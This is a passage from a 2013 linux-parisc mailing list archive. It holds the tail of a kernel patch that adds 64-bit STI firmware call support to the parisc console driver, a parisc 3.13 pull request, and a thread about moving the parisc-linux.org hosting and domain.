+	unsigned long _inptr = STI_PTR(inptr);
+	unsigned long _outptr = STI_PTR(outptr);
+	unsigned long _glob_cfg = STI_PTR(glob_cfg);
+	int ret;
+
+	if (!STI_USE_64bit) {
+		/* Check for overflow when using 32bit STI on 64bit kernel. */
+		if (_flags>>32 || _inptr>>32 || _outptr>>32 || _glob_cfg>>32) {
+			WARN_ONCE(1, "INVALID POINTERS!");
+			return -1;
+		}
+	}
+
+//	pr_warn("sti_call(%#lx, %#lx, %#lx, %#lx, %#lx)\n",
+//		func, _flags, _inptr, _outptr, _glob_cfg);
+
+	if (STI_USE_64bit)
+		ret = pdc_sti_call64( func, _flags, _inptr, _outptr, _glob_cfg);
+	else
+		ret = pdc_sti_call32( func, _flags, _inptr, _outptr, _glob_cfg);
+
+	return ret;
+}
+
 MODULE_AUTHOR("Philipp Rumpf, Helge Deller, Thomas Bogendoerfer");
 MODULE_DESCRIPTION("Core STI driver for HP's NGLE series graphics cards in HP PARISC machines");
 MODULE_LICENSE("GPL v2");
diff --git a/drivers/video/sticore.h b/drivers/video/sticore.h
index addf7b6..fe42c93 100644
--- a/drivers/video/sticore.h
+++ b/drivers/video/sticore.h
@@ -3,7 +3,7 @@
 
 /* generic STI structures & functions */
 
-#if 0
+#if 1
 #define DPRINTK(x)	printk x
 #else
 #define DPRINTK(x) 
@@ -18,6 +18,9 @@
 #define STI_FONT_HPROMAN8 1
 #define STI_FONT_KANA8 2
 
+#define ALT_CODE_TYPE_UNKNOWN 0x00	/* alt code type values */
+#define ALT_CODE_TYPE_PA_RISC_64 0x01
+
 /* The latency of the STI functions cannot really be reduced by setting
  * this to 0;  STI doesn't seem to be designed to allow calling a different
  * function (or the same function with different arguments) after a
@@ -35,19 +38,25 @@
  */
  
 #include <asm/io.h>
+#include <linux/bug.h>
 
 #define STI_WAIT 1
 
-#define STI_PTR(p)	( virt_to_phys(p) )
-#define PTR_STI(p)	( phys_to_virt((unsigned long)p) )
-#define STI_CALL(func, flags, inptr, outptr, glob_cfg)	\
-       ({						\
-               pdc_sti_call( func, STI_PTR(flags),	\
-				   STI_PTR(inptr),	\
-				   STI_PTR(outptr),	\
-				   STI_PTR(glob_cfg));	\
-       })
+#ifdef CONFIG_64BIT
+#define STI_USE_64bit		sti->use_64bit
+#else
+#define STI_USE_64bit		0
+#endif
+
+// #define STI_PTR(p)		( virt_to_phys(p) )
+#define STI_PTR(p)		({ unsigned long _p = virt_to_phys(p); WARN_ONCE(_p>>32, "STI_PTR too big"); _p; })
+#define PTR_STI(p)		( phys_to_virt((unsigned long)p) )
 
+#if 0  // def CONFIG_64BIT
+# define STI_LONGPTR(sti,p)	({ unsigned long _x = virt_to_phys(p); STI_USE_64bit ? (u32*)_x:(u32*)(_x<<32); })
+#else
+# define STI_LONGPTR(sti,p)	STI_PTR(p)
+#endif
 
 #define sti_onscreen_x(sti) (sti->glob_cfg->onscreen_x)
 #define sti_onscreen_y(sti) (sti->glob_cfg->onscreen_y)
@@ -80,8 +89,8 @@ struct sti_glob_cfg_ext {
 	 u8 friendly_boot;		/* in friendly boot mode */
 	s16 power;			/* power calculation (in Watts) */
 	s32 freq_ref;			/* frequency reference */
-	u32 sti_mem_addr;		/* pointer to global sti memory (size=sti_mem_request) */
-	u32 future_ptr; 		/* pointer to future data */
+	u32 sti_mem_addr;		/* XXX pointer to global sti memory (size=sti_mem_request) */
+	u32 *future_ptr; 		/* pointer to future data */
 };
 
 struct sti_glob_cfg {
@@ -92,13 +101,12 @@ struct sti_glob_cfg {
 	s16 offscreen_y;		/* offset height in pixels */
 	s16 total_x;			/* frame buffer width in pixels */
 	s16 total_y;			/* frame buffer height in pixels */
-	u32 region_ptrs[STI_REGION_MAX]; /* region pointers */
+	u32 region_ptrs[STI_REGION_MAX]; /* XXX region pointers */
 	s32 reent_lvl;			/* storage for reentry level value */
 	u32 save_addr;			/* where to save or restore reentrant state */
 	u32 ext_ptr;			/* pointer to extended glob_cfg data structure */
 };
 
-
 /* STI init function structs */
 
 struct sti_init_flags {
@@ -121,14 +129,14 @@ struct sti_init_flags {
 	u32 caller_kernel : 1;	/* set only by kernel for each call */
 	u32 caller_other : 1;	/* set only by non-[BR/K] caller */
 	u32 pad	: 14;		/* pad to word boundary */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_init_inptr_ext {
 	u8  config_mon_type;	/* configure to monitor type */
 	u8  pad[1];		/* pad to word boundary */
 	u16 inflight_data;	/* inflight data possible on PCI */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_init_inptr {
@@ -140,7 +148,7 @@ struct sti_init_inptr {
 struct sti_init_outptr {
 	s32 errno;		/* error number on failure */
 	s32 text_planes;	/* number of planes used for text */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 
@@ -150,17 +158,17 @@ struct sti_init_outptr {
 struct sti_conf_flags {
 	u32 wait : 1;		/* should routine idle wait or not */
 	u32 pad : 31;		/* pad to word boundary */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_conf_inptr {
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_conf_outptr_ext {
 	u32 crt_config[3];	/* hardware specific X11/OGL information */	
 	u32 crt_hdw[3];
-	u32 future_ptr;
+	u32 *future_ptr;
 };
 
 struct sti_conf_outptr {
@@ -214,18 +222,18 @@ struct sti_rom {
 	u32 inq_conf;
 	u32 set_cm_entry;
 	u32 dma_ctrl;
-	 u8 res040[7 * 4];
+	u32 res040[7];
 	
-	u32 init_graph_addr;
-	u32 state_mgmt_addr;
-	u32 font_unp_addr;
-	u32 block_move_addr;
-	u32 self_test_addr;
-	u32 excep_hdlr_addr;
-	u32 inq_conf_addr;
-	u32 set_cm_entry_addr;
-	u32 image_unpack_addr;
-	u32 pa_risx_addrs[7];
+	u32 init_graph_64bit;
+	u32 state_mgmt_64bit;
+	u32 font_unp_64bit;
+	u32 block_move_64bit;
+	u32 self_test_64bit;
+	u32 excep_hdlr_64bit;
+	u32 inq_conf_64bit;
+	u32 set_cm_entry_64bit;
+	u32 image_unpack_64bit;
+	u32 pa_risx_64bits[7];
 };
 
 struct sti_rom_font {
@@ -256,25 +264,25 @@ struct sti_cooked_rom {
 /* STI font printing function structs */
 
 struct sti_font_inptr {
-	u32 font_start_addr;	/* address of font start */
+	u32 font_start_addr;	/* XXX address of font start */
 	s16 index;		/* index into font table of character */
 	u8 fg_color;		/* foreground color of character */
 	u8 bg_color;		/* background color of character */
 	s16 dest_x;		/* X location of character upper left */
 	s16 dest_y;		/* Y location of character upper left */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_font_flags {
 	u32 wait : 1;		/* should routine idle wait or not */
 	u32 non_text : 1;	/* font unpack/move in non_text planes =1, text =0 */
 	u32 pad : 30;		/* pad to word boundary */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 	
 struct sti_font_outptr {
 	s32 errno;		/* error number on failure */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 /* STI blockmove structs */
@@ -285,7 +293,7 @@ struct sti_blkmv_flags {
 	u32 clear : 1;		/* clear during move? */
 	u32 non_text : 1;	/* block move in non_text planes =1, text =0 */
 	u32 pad : 28;		/* pad to word boundary */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_blkmv_inptr {
@@ -297,15 +305,43 @@ struct sti_blkmv_inptr {
 	s16 dest_y;		/* dest upper left pixel y location */
 	s16 width;		/* block width in pixels */
 	s16 height;		/* block height in pixels */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 struct sti_blkmv_outptr {
 	s32 errno;		/* error number on failure */
-	u32 future_ptr; 	/* pointer to future data */
+	u32 *future_ptr; 	/* pointer to future data */
 };
 
 
+/* this internal struct needs to be allocated in low_mem (<4GB)
+ * if used with 32bit STI */
+
+struct sti_all_data {
+	struct sti_glob_cfg glob_cfg;
+	struct sti_glob_cfg_ext glob_cfg_ext;
+
+	struct sti_conf_inptr		inq_inptr;
+	struct sti_conf_outptr		inq_outptr; /* configuration */
+	struct sti_conf_outptr_ext	inq_outptr_ext;
+
+	struct sti_init_inptr_ext	init_inptr_ext;
+	struct sti_init_inptr		init_inptr;
+	struct sti_init_outptr		init_outptr;
+
+	struct sti_blkmv_inptr		blkmv_inptr;
+	struct sti_blkmv_outptr		blkmv_outptr;
+
+	struct sti_font_inptr		font_inptr;
+	struct sti_font_outptr		font_outptr;
+
+	/* leave as last entries */
+	unsigned long save_addr[1024 / sizeof(unsigned long)];
+	   /* min 256 bytes which is STI default, max sti->sti_mem_request */
+	unsigned long sti_mem_addr[256 / sizeof(unsigned long)];
+	/* do not add something below here ! */
+};
+
 /* internal generic STI struct */
 
 struct sti_struct {
@@ -320,6 +356,7 @@ struct sti_struct {
 
 	struct sti_cooked_rom *rom;
 
+	int use_64bit;	/* enabled, if 64bit sti functions are being called. */
 	unsigned long font_unpmv;
 	unsigned long block_move;
 	unsigned long init_graph;
@@ -330,11 +367,9 @@ struct sti_struct {
 	region_t regions[STI_REGION_MAX];
 	unsigned long regions_phys[STI_REGION_MAX];
 
-	struct sti_glob_cfg *glob_cfg;
-	struct sti_cooked_font *font;	/* ptr to selected font (cooked) */
+	struct sti_glob_cfg *glob_cfg;	/* points into sti_all_data */
 
-	struct sti_conf_outptr outptr; /* configuration */
-	struct sti_conf_outptr_ext outptr_ext;
+	struct sti_cooked_font *font;	/* ptr to selected font (cooked) */
 
 	struct pci_dev *pd;
 
@@ -343,6 +378,9 @@ struct sti_struct {
 
 	/* pointer to the fb_info where this STI device is used */
 	struct fb_info *info;
+
+	/* pointer to all internal data */
+	struct sti_all_data *sti_data;
 };
 
 
@@ -350,6 +388,13 @@ struct sti_struct {
 
 struct sti_struct *sti_get_rom(unsigned int index); /* 0: default sti */
 
+
+/* sticore main function to call STI firmware */
+
+int sti_call(const struct sti_struct *sti, unsigned long func, const void *flags,
+		void *inptr, void *outptr, struct sti_glob_cfg *glob_cfg);
+
+
 /* functions to call the STI ROM directly */
 
 void sti_putc(struct sti_struct *sti, int c, int y, int x);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.13
Date: Fri, 8 Nov 2013 23:05:58 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20131108220558.GA1531@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383948363 6566 80.91.229.3 (8 Nov 2013 22:06:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Nov 2013 22:06:03 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 08 23:06:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VeuBp-0000oB-1X
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Nov 2013 23:06:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758360Ab3KHWGE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Nov 2013 17:06:04 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:54722 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758319Ab3KHWGD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Nov 2013 17:06:03 -0500
Original-Received: from p100.box ([84.173.31.126]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lt1yI-1Vm6HS2nc2-012bau for
 <linux-parisc@vger.kernel.org>; Fri, 08 Nov 2013 23:06:01 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:IAL52NTdKupQoYy4Q//h8lS4R+laL/fCoQHptChdgZNVPoPlN7d
 bez5AH5nh1vGzlJtdczgWumE00zx2ec9pKF+2CFuD/xXhdycJVhQdnz7wg4x2lQ7UY9ci3s
 PQQZeB3j+5qmwvO9+YlVRPkkPrrSb0uBvgzOCwaG01c9jOTuqmZpN7v3+JgsMIsu0utDy3s
 HdPSjg7bgy7iq2vioghmA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5463 gmane.linux.kernel:1592380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5463>

Hi Linus,

Please pull the parisc architecture updates for 3.13-rc1 from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.13

which contains the following main features:

- a bugfix for sticon (parisc text console driver) to not crash the
  64bit kernel on machines with more than 4GB RAM
- added kernel audit support
- made udelay() implementation SMP-safe
- "make install" now does not depend on vmlinux
- added defconfigs for 32- and 64-kernels

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (10):
      parisc: provide macro to create exception table entries
      parisc: add kernel audit feature
      parisc: make "make install" not depend on vmlinux
      parisc: make udelay() SMP-safe
      parisc: do not count IPI calls twice
      parisc: correctly display number of active CPUs
      parisc: implement full version of access_ok()
      parisc: signal fixup - SIGBUS vs. SIGSEGV
      parisc: sticon - unbreak on 64bit kernel
      parisc: add generic 32- and 64-bit defconfigs

Michael Opdenacker (1):
      parisc: remove duplicate define

 arch/parisc/Kconfig                         |   3 +
 arch/parisc/Makefile                        |  22 +-
 arch/parisc/configs/generic-32bit_defconfig | 328 ++++++++++++++++++++++++++
 arch/parisc/configs/generic-64bit_defconfig | 346 ++++++++++++++++++++++++++++
 arch/parisc/include/asm/assembly.h          |  12 +
 arch/parisc/include/asm/delay.h             |  41 +---
 arch/parisc/include/asm/hardirq.h           |   1 -
 arch/parisc/include/asm/ptrace.h            |   4 +
 arch/parisc/include/asm/thread_info.h       |   4 +-
 arch/parisc/include/asm/uaccess.h           |  53 ++++-
 arch/parisc/install.sh                      |  44 +++-
 arch/parisc/kernel/Makefile                 |   4 +-
 arch/parisc/kernel/audit.c                  |  81 +++++++
 arch/parisc/kernel/compat_audit.c           |  40 ++++
 arch/parisc/kernel/irq.c                    |   4 -
 arch/parisc/kernel/ptrace.c                 |  26 ++-
 arch/parisc/kernel/setup.c                  |   8 +-
 arch/parisc/kernel/smp.c                    |   5 -
 arch/parisc/kernel/syscall.S                |   6 +-
 arch/parisc/lib/Makefile                    |   2 +-
 arch/parisc/lib/delay.c                     |  73 ++++++
 arch/parisc/lib/lusercopy.S                 |  10 +-
 arch/parisc/math-emu/float.h                |   1 -
 arch/parisc/mm/fault.c                      |  24 +-
 drivers/video/console/sticore.c             | 166 ++++++++-----
 drivers/video/sticore.h                     |  62 ++++-
 drivers/video/stifb.c                       |  10 +-
 init/Kconfig                                |   2 +-
 28 files changed, 1214 insertions(+), 168 deletions(-)
 create mode 100644 arch/parisc/configs/generic-32bit_defconfig
 create mode 100644 arch/parisc/configs/generic-64bit_defconfig
 create mode 100644 arch/parisc/kernel/audit.c
 create mode 100644 arch/parisc/kernel/compat_audit.c
 create mode 100644 arch/parisc/lib/delay.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Fri, 08 Nov 2013 23:22:32 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <527D6428.8060205@gmx.de>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383949353 19513 80.91.229.3 (8 Nov 2013 22:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Nov 2013 22:22:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org,
	Thibaut VARENE <T-Bone@parisc-linux.org>
To: "Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 08 23:22:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VeuRp-0002m8-Cb
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Nov 2013 23:22:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757557Ab3KHWWg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Nov 2013 17:22:36 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:61300 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757521Ab3KHWWg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Nov 2013 17:22:36 -0500
Original-Received: from [192.168.178.60] ([84.173.31.126]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MXEs5-1V8eD913h7-00WBRx for
 <linux-parisc@vger.kernel.org>; Fri, 08 Nov 2013 23:22:34 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <52786CFD.1070009@hp.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:pp+eBiKFlccTm5JzcLDvo7ovIi8Tx25oueCjxs74evTuqW9i//9
 /8T2B7QdTryis2GEBZVxc+j4m/lezUZPdj5ePyBj2SrBno6PCAJYXJjcBrk8uMZsAJ1gVL6
 qJq/mBJaCwLgpK0qrK3mXZoRdDP/CaJnMq83trZOx+i62zOa3bxWtBm+JaVPehC/f6aWujN
 gHUud0DGNCurtz7UawFug==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5464
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5464>

On 11/05/2013 04:58 AM, Craig Lamparter (ISS Linux) wrote:
> Just to confirm Dan's comment, HPIT is taking ownership of just
> about everything, so it's harder to do g-jobs like this.  Even
> our internal labs are being moved to isolated subnets, for better or
> worse.  A University or co-lo system is probably going to have
> better throughput than our current R&D edge compartments.

Just as an update:
I opened a "hosting request ticket" at osuosl.org on 11/05/2013 for the A500.
No answer yet, but they mentioned that it may take some time (up to a week?).

Then, what will happen to to domain name parisc-linux.org ?
According to whois, it belongs to HP/Ft.Collins.
Will HP keep this domain name?

Otherwise Thibaut Varene (CC'ed) offered to take over the domain and take care 
of it at least for a year.
Who would be a contact for such a transition?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Fri, 8 Nov 2013 15:38:34 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20131108223833.GB32729@dannf.org>
References: <20131105003509.GA19864@dannf.org>
 <1383612962.2150.4.camel@dabdike>
 <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>
 <20131105022209.GC22393@dannf.org>
 <52786CFD.1070009@hp.com>
 <527D6428.8060205@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383950317 28693 80.91.229.3 (8 Nov 2013 22:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Nov 2013 22:38:37 +0000 (UTC)
Cc: "Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org,
	Thibaut VARENE <T-Bone@parisc-linux.org>, matt@lackof.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 08 23:38:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VeuhM-00046y-3h
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Nov 2013 23:38:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758286Ab3KHWij (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Nov 2013 17:38:39 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:57376 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757752Ab3KHWij (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Nov 2013 17:38:39 -0500
Original-Received: from localhost (c-50-170-238-85.hsd1.co.comcast.net [50.170.238.85])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id 1043A33E00EC;
	Fri,  8 Nov 2013 15:38:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <527D6428.8060205@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.8 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5465
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5465>

On Fri, Nov 08, 2013 at 11:22:32PM +0100, Helge Deller wrote:
> On 11/05/2013 04:58 AM, Craig Lamparter (ISS Linux) wrote:
> > Just to confirm Dan's comment, HPIT is taking ownership of just
> > about everything, so it's harder to do g-jobs like this.  Even
> > our internal labs are being moved to isolated subnets, for better or
> > worse.  A University or co-lo system is probably going to have
> > better throughput than our current R&D edge compartments.
> 
> Just as an update:
> I opened a "hosting request ticket" at osuosl.org on 11/05/2013 for the A500.
> No answer yet, but they mentioned that it may take some time (up to a week?).
> 
> Then, what will happen to to domain name parisc-linux.org ?
> According to whois, it belongs to HP/Ft.Collins.
> Will HP keep this domain name?
> 
> Otherwise Thibaut Varene (CC'ed) offered to take over the domain and take care 
> of it at least for a year.
> Who would be a contact for such a transition?

Taggart: is that you?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <matt@lackof.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 09 Nov 2013 00:20:36 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20131109082036.62C881A8@taggart.lackof.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383985669 14288 80.91.229.3 (9 Nov 2013 08:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 08:27:49 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org,
	Thibaut VARENE <T-Bone@parisc-linux.org>, matt@lackof.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 09:27:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vf3tY-0005l2-W0
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 09:27:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758163Ab3KII1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 03:27:52 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:34952 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753319Ab3KII1w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 03:27:52 -0500
X-Greylist: delayed 432 seconds by postgrey-1.27 at vger.kernel.org; Sat, 09 Nov 2013 03:27:51 EST
Original-Received: from taggart.lackof.org (c-98-203-139-173.hsd1.wa.comcast.net [98.203.139.173])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "taggart.lackof.org", Issuer "CAcert Class 3 Root" (verified OK))
	by complete.lackof.org (Postfix) with ESMTPS id 4233C33E00EC;
	Sat,  9 Nov 2013 01:20:37 -0700 (MST)
Original-Received: by taggart.lackof.org (Postfix, from userid 1000)
	id 62C881A8; Sat,  9 Nov 2013 00:20:36 -0800 (PST)
Original-Received: from zorak.home.bogus (localhost [127.0.0.1])
	by taggart.lackof.org (Postfix) with ESMTP id 61AE6D2;
	Sat,  9 Nov 2013 00:20:36 -0800 (PST)
X-Mailer: exmh version 2.8.0 04/21/2012 (debian 1:2.8.0~rc1-2) with nmh-1.5
In-reply-to: <20131108223833.GB32729@dannf.org>
Comments: In-reply-to dann frazier <dannf@dannf.org>
   message dated "Fri, 08 Nov 2013 15:38:34 -0700."
X-Virus-Scanned: clamav-milter 0.97.8 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5466>

dann frazier writes:

> Taggart: is that you?

Hey whadda know it is! And somehow my brain remembered the login and 
password despite not having recorded it somewhere.

I have unlocked the domain and I'll keep an eye out for requests asking me 
to approve the transfer to Thibaut.

-- 
Matt Taggart
matt@lackof.org


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
